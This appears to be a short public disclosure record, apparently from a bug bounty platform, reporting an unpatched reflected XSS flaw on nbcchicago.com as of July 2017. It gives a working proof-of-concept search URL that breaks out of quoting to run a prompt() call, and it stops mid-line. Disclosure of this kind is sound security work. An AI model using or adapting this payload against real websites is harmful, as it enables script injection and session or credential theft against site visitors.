nbcchicago.com XSS vulnerability

Vulnerable URL: http://www.nbcchicago.com/results/?keywords=qqqqq%3C%3E%22+%27=%27;prompt%27OPENBUGBOUNTY%27;// Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 16298 VIP website...